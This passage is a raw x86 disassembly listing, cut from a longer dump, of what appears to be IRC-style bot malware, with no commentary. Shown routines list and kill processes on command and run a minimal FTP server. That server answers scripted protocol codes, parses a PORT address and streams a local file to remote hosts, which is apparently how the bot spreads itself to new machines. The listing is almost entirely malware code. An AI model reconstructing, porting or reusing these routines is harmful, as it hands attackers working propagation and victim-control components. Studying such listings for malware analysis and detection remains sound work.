		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_401807
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011AE
		add	esp, 4
		test	al, al
		jz	loc_41CDB2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4018DE
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4015F5
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+60h+var_50]
		call	sub_40166D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_40147E
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_401898
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401749
		test	al, al
		jz	short loc_41CDB2
		mov	ebp, ds:dword_4B38CC


loc_41CD3E:				; CODE XREF: sub_41CC30+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_4011FE
		mov	ecx, eax
		call	sub_401726
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4011FE
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_401078
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_401898
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401749
		test	al, al
		jnz	short loc_41CD3E


loc_41CDB2:				; CODE XREF: sub_41CC30+62j
					; sub_41CC30+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_40175D
		mov	al, 1
		jmp	loc_41D1E7
; ---------------------------------------------------------------------------


loc_41CDCA:				; CODE XREF: sub_41CC30+37j
		lea	ecx, [edi+32h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41CEBE
		push	offset dword_43B600
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	offset byte_43FDC8
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012B7
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		test	bl, bl
		jnz	loc_41D1E5
		push	offset dword_43B600
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_401479
		push	eax
		push	offset aKpS	; "kp: %s"
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		mov	al, 1
		jmp	loc_41D1E7
; ---------------------------------------------------------------------------


loc_41CEBE:				; CODE XREF: sub_41CC30+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41D025
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40164F
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_401FB9
		add	esp, 4
		test	al, al
		jz	loc_41D00D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4018DE
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+60h+var_50]
		call	sub_401A4B
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401406
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_401398
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401285
		test	al, al
		jz	short loc_41D00D
		mov	ebx, ds:dword_4B38CC


loc_41CFA6:				; CODE XREF: sub_41CC30+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401050
		mov	ecx, eax
		call	sub_401726
		push	eax
		push	edi
		push	offset aD_S	; "%d. / %s"
		mov	ecx, ebp
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401771
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_401398
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401285
		test	al, al
		jnz	short loc_41CFA6


loc_41D00D:				; CODE XREF: sub_41CC30+2CFj
					; sub_41CC30+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D025:				; CODE XREF: sub_41CC30+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41D11C
		push	offset dword_43B600
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		push	offset byte_43FDC8
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012B7
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		test	bl, bl
		jnz	loc_41D1E5
		push	offset dword_43B600
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_401726
		push	eax
		call	sub_40191F
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	offset dword_43B600
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_401479
		push	eax
		push	offset aKsS	; "ks: %s"
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		mov	al, 1
		jmp	loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D11C:				; CODE XREF: sub_41CC30+40Aj
		lea	ecx, [edi+60h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_41D1E5
		push	offset dword_43B600
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	offset byte_43FDC8
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012B7
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		test	bl, bl
		jnz	short loc_41D1E5
		push	offset dword_43B600
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_401726
		push	eax
		call	ds:dword_4B3AEC
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		test	ebx, ebx
		jz	short loc_41D1E5
		push	ebx
		push	offset aKpidS	; "kpid: %s"
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		push	ebx
		call	sub_4017DA
		add	esp, 1Ch
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1E5:				; CODE XREF: sub_41CC30+1F0j
					; sub_41CC30+44Ej ...
		xor	al, al


loc_41D1E7:				; CODE XREF: sub_41CC30+195j
					; sub_41CC30+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41CC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D380:				; CODE XREF: _294ADE7B:loc_401E88j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	a0ac+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_4B38CC
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41D3B0:				; CODE XREF: _294ADE7B:0041D3C1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41D3C3
		push	3E8h
		call	edi
		jmp	short loc_41D3B0
; ---------------------------------------------------------------------------


loc_41D3C3:				; CODE XREF: _294ADE7B:0041D3B8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_44010F
		call	sub_40194C
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4992AB
		push	edx
		mov	[ebp-14h], esi
		call	sub_4011E5


loc_41D3E9:				; DATA XREF: _294ADE7B:loc_41D3FCo
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D3FC:				; DATA XREF: _8C6BDE73:0043A084o
		mov	eax, offset loc_41D3E9
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D440	proc near		; CODE XREF: sub_401CB7j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401E65
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401E65
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401E65
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401E65
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401E65
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41D440	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_401F32j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41D500
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_430390
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr ds:dword_4404E7
		push	edx
		call	ds:dword_4B3CB0
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	ds:dword_4B3CAC
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41D587
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4992AB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_4011E5
		jmp	loc_41DC2A
; ---------------------------------------------------------------------------


loc_41D587:				; CODE XREF: sub_41D500+6Dj
		push	10h
		push	esi
		push	eax
		call	ds:dword_4B3C58
		test	eax, eax
		jz	short loc_41D5B7
		mov	ecx, [edi+15h]
		push	ecx
		call	ds:dword_4B3CA8
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4992AB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_4011E5
		jmp	loc_41DC2A
; ---------------------------------------------------------------------------


loc_41D5B7:				; CODE XREF: sub_41D500+93j
		mov	al, ds:byte_499254
		test	al, al
		jz	loc_41DC20
		push	ebx
		mov	ebx, ds:dword_4B3AEC
		push	ebp
		mov	ebp, ds:dword_4B3C9C


loc_41D5D2:				; CODE XREF: sub_41D500+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		call	ds:dword_4B3C54
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D5ED
		push	0FAh
		jmp	loc_41DC0B
; ---------------------------------------------------------------------------


loc_41D5ED:				; CODE XREF: sub_41D500+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	ds:dword_4B3C64
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41DC06
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		call	ds:dword_4B3CC4
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41DC11
		mov	cl, ds:byte_440C50
		test	cl, cl
		jz	short loc_41D69F
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, ds:dword_4404E7
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_4407F0
		call	sub_401479
		push	eax
		push	0
		push	0
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 28h


loc_41D69F:				; CODE XREF: sub_41D500+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_4013CF
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401B40
		push	eax
		call	sub_401578
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_40146F
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401E65
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_40124E
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_40124E
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_40124E
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_40124E
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_4017A8
		push	offset dword_43B600
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_401622
		push	offset asc_43BF80 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		push	offset asc_43BF80 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		push	offset asc_43BF80 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		push	offset asc_43BF80 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		push	offset asc_43BF80 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		push	offset asc_43BF80 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_401726
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_4011F9
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset dword_43BB9C
		push	ecx
		call	ds:dword_4B3C18
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_40124E
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_4019AB
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_401726
		push	eax
		call	ds:dword_4B3A90
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41DB65
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41DB65
		push	2
		push	0
		push	edi
		call	ds:dword_4B3A7C
		push	edi
		call	ds:dword_4B3A80
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		call	ds:dword_4B3A7C
		add	esp, 1Ch


loc_41DA90:				; CODE XREF: sub_41D500+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	ds:dword_4B3A84
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41DAE3
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp
		cmp	edi, 1000h
		jz	short loc_41DA90


loc_41DAE3:				; CODE XREF: sub_41D500+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, ds:byte_440C50
		test	cl, cl
		mov	eax, edx
		jz	short loc_41DB4C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "$ftp -> %d.%d.%d.%d -> (%d bytes) (tota"...
		mov	ecx, offset dword_4407F0
		call	sub_401479
		push	eax
		push	0
		push	0
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 2Ch


loc_41DB4C:				; CODE XREF: sub_41D500+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		call	ds:dword_4B3A94
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	ds:dword_4B3CA8


loc_41DB65:				; CODE XREF: sub_41D500+55Bj
					; sub_41D500+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_40124E
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp
		push	esi
		call	ds:dword_4B3CA8
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_4011F9
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_4011F9
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_4011F9
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_4011F9
		mov	edi, [esp+0F0h+var_DC]


loc_41DC06:				; CODE XREF: sub_41D500+109j
		push	9C4h


loc_41DC0B:				; CODE XREF: sub_41D500+E8j
		call	ds:dword_4B38CC


loc_41DC11:				; CODE XREF: sub_41D500+140j
		mov	al, ds:byte_499254
		test	al, al
		jnz	loc_41D5D2
		pop	ebp
		pop	ebx


loc_41DC20:				; CODE XREF: sub_41D500+BEj
		mov	eax, [edi+15h]
		push	eax
		call	ds:dword_4B3CA8


loc_41DC2A:				; CODE XREF: sub_41D500+82j
					; sub_41D500+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41D500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41DE30:				; CODE XREF: _294ADE7B:00401203j
		push	0FFFFFFFFh
		push	offset loc_434A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_4018A7
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0Ch], eax
		jnz	short loc_41DE6D
		mov	ds:byte_4992A9,	0
